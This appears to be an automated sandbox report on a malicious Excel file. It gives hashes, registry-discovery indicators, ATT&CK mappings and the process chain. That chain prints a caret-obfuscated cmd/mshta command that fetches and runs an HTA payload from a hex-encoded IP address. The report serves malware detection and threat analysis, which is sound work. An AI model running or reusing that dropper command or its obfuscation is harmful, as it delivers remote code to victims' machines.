7711d6fb56bb07b0db1056116eebfe905174f3772177006c61a7d2ecb1768311

Analysis

max time kernel
117s
max time network
191s
platform
windows10_x64
resource
win10-en-20211208
submitted
28-01-2022 01:47

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General

Target

file-108.xls
Size

64KB
MD5

c2c4de85ee886fbc2a677f392d3c44bb
SHA1

de79f091a6696269b1678762cf42088cacc3f2f8
SHA256

2e073b0a6cdff74003aa7791807d3c23b10286a983192a6dc6a4dbe62b68a079
SHA512

e43f87fd05d6cbb3b916151641c760ec00acfc90990024f3fd669b9cf52b007025464c5c8d277ac69d9b6a4a73323c34961a224a9110d97200398d52bbbd355d

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xc12a24f5/cc.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2072	2200	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

29 3084 mshta.exe

flow	pid	process
29	3084	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2200 EXCEL.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
2200	EXCEL.EXE
2200	EXCEL.EXE
2200	EXCEL.EXE
2200	EXCEL.EXE
2200	EXCEL.EXE
2200	EXCEL.EXE
2200	EXCEL.EXE
2200	EXCEL.EXE
2200	EXCEL.EXE
2200	EXCEL.EXE
2200	EXCEL.EXE
2200	EXCEL.EXE
2200	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 2200 wrote to memory of 2072	2200	EXCEL.EXE	cmd.exe
PID 2200 wrote to memory of 2072	2200	EXCEL.EXE	cmd.exe
PID 2072 wrote to memory of 3084	2072	cmd.exe	mshta.exe
PID 2072 wrote to memory of 3084	2072	cmd.exe	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\file-108.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2200

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2072

C:\Windows\system32\mshta.exe
mshta http://0xc12a24f5/cc.html
3⤵
- Blocklisted process makes network request
PID:3084

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/2200-118-0x00007FF89DB10000-0x00007FF89DB20000-memory.dmp

Filesize
64KB

Download
memory/2200-119-0x00007FF89DB10000-0x00007FF89DB20000-memory.dmp

Filesize
64KB

Download
memory/2200-120-0x00007FF89DB10000-0x00007FF89DB20000-memory.dmp

Filesize
64KB

Download
memory/2200-121-0x00007FF89DB10000-0x00007FF89DB20000-memory.dmp

Filesize
64KB

Download
memory/2200-130-0x00007FF89A3C0000-0x00007FF89A3D0000-memory.dmp

Filesize
64KB

Download
memory/2200-131-0x00007FF89DB10000-0x00007FF89DB20000-memory.dmp

Filesize
64KB

Download
memory/2200-132-0x00007FF89A3C0000-0x00007FF89A3D0000-memory.dmp

Filesize
64KB

Download
memory/2200-317-0x00007FF89DB10000-0x00007FF89DB20000-memory.dmp

Filesize
64KB

Download
memory/2200-319-0x00007FF89DB10000-0x00007FF89DB20000-memory.dmp

Filesize
64KB

Download
memory/2200-318-0x00007FF89DB10000-0x00007FF89DB20000-memory.dmp

Filesize
64KB

Download
memory/2200-320-0x00007FF89DB10000-0x00007FF89DB20000-memory.dmp

Filesize
64KB

Download